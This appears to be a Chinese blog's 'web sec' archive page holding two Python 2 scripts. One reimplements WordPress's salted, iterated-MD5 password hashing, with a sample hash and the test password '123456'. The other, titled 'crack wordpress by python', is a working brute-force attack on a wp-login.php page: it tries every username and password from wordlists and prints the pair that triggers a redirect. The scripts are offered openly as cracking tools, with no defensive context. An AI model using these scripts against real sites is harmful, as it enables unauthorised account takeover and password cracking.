标签

显示标签为“web sec”的博文。显示所有博文
显示标签为“web sec”的博文。显示所有博文

2013年12月11日星期三

wordpress password hash algorithm





 1 import md5
 2 import struct
 3 import binascii
 4 count=8192
 5 
 6 itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
 7 
 8 def encode64(input,cnt=16):
 9         output=''
10         i=0
11         while (i<cnt):
12                 value = ord(input[i])
13                 i = i+1
14                 output = output + itoa64[value&0x3f]
15 
16                 if(i<cnt):
17                         value |= ord(input[i])<<8
18                 output = output + itoa64[(value>>6)&0x3f]
19 
20                 if(i >= cnt):break
21                 i = i+1
22                 if(i<cnt):
23                         value |= ord(input[i])<<16
24                 output = output + itoa64[(value>>12)&0x3f]
25 
26                 if(i >= cnt):break
27                 i = i+1
28                 output = output + itoa64[(value>>18)&0x3f]
29 
30         return output
31 def decode64(input):
32         output=''
33         i=0
34         cnt = len(input)
35         value = 0
36         while (i<cnt):
37                 value=itoa64.find(input[i])
38                 i=i+1
39                 if(i >= cnt):break
40                 value |= itoa64.find(input[i])<<6
41 
42                 i=i+1
43                 if(i >= cnt):break
44                 value |= itoa64.find(input[i]) <<12
45 
46                 i=i+1
47                 if(i >= cnt):break
48                 value |= itoa64.find(input[i]) <<18
49                 output = output + struct.pack('<I',value)[0:3]
50 
51                 i=i+1
52         return output+ struct.pack('<I',value)[0]
53 
54 def wp_hash(salt,password):
55         hash=md5.md5(salt+password)
56 
57         for i in range(count):
58                 hash = md5.md5(hash.digest()+password)
59 
60         print hash.hexdigest()
61         print encode64(hash.digest())
62 
63 def bin2hex(input):
64         return ''.join('%02x' % ord(c) for c in input)
65 if __name__ == '__main__':
66     #test $P$Bat/4YEzkmzJMTWoFKaJlCOO1DAwUc.
67     # $P$    B    at/4YEzk    mzJMTWoFKaJlCOO1DAwUc.
68     #sign = '$P$'
69     #count = 1<<itoa64.index('B')
70 
71         wp_hash('at/4YEzk','123456')
72         x=decode64('mzJMTWoFKaJlCOO1DAwUc.')
73         print bin2hex(x)
src: https://github.com/i3here/Web/tree/master
https://drive.google.com/file/d/0B3xt4Nh1OAl6VmVVcnNRc1I3aXM/edit?usp=sharing

2013年12月10日星期二

crack wordpress by python





 1 import urllib
 2 import urllib2
 3 import re
 4 
 5 user_agent=('User-Agent','''Mozilla/5.0 (Windows NT 6.1; rv:20.0) Gecko/20100101 Firefox/20.0''')
 6 url='http://ifrouter.blogspot.com/wp-login.php'
 7 
 8 class StopRedirectHandler(urllib2.HTTPRedirectHandler):
 9      def http_error_301(self,req,fp,code,msg,headers):
10          pass
11      def http_error_302(self,req,fp,code,msg,headers):
12         pass
13     
14 def read_info(user_file,pass_file):
15     with open(user_file) as fi_u:
16         lu= [ i.strip() for i in fi_u.readlines()]
17     with open(pass_file) as fi_p:
18         lp= [ i.strip() for i in fi_p.readlines()]
19     return (lu,lp)
20 
21 def wp_login(url,users,pwd):
22     post_data=urllib.urlencode({'log':users,'pwd':pwd})
23     
24     try:
25         print "try password : %s" %pwd
26         repose = opener.open(url, data=post_data,timeout=18)
27         repose_html= repose.read()
28         if re.search('Lost your password', repose_html, re.I ) != None :
29             return False
30     except urllib2.HTTPError as e:
31         if e.code==302:
32             print 'users is: %s ; password is: %s' % (users,pwd)
33             return True
34         else : 
35             print e
36             return False
37     except Exception  as e:
38         print e
39         return False
40 if __name__ == '__main__':
41     opener = urllib2.build_opener(StopRedirectHandler)
42     opener.addheaders = [(user_agent)]
43     users,passwords = read_info('users.txt','password.txt')
44     print 'start crack...'
45     for user in users:
46         for pwd in passwords:
47             post_data=urllib.urlencode({'log':user,'pwd':pwd})
48             if wp_login(url, user, pwd) :
49                 exit()
50     print 'crack end!!!'
51     
52  

src: https://github.com/i3here/Web/tree/master
https://drive.google.com/file/d/0B3xt4Nh1OAl6MkVpZDdIODVQZW8/edit?usp=sharing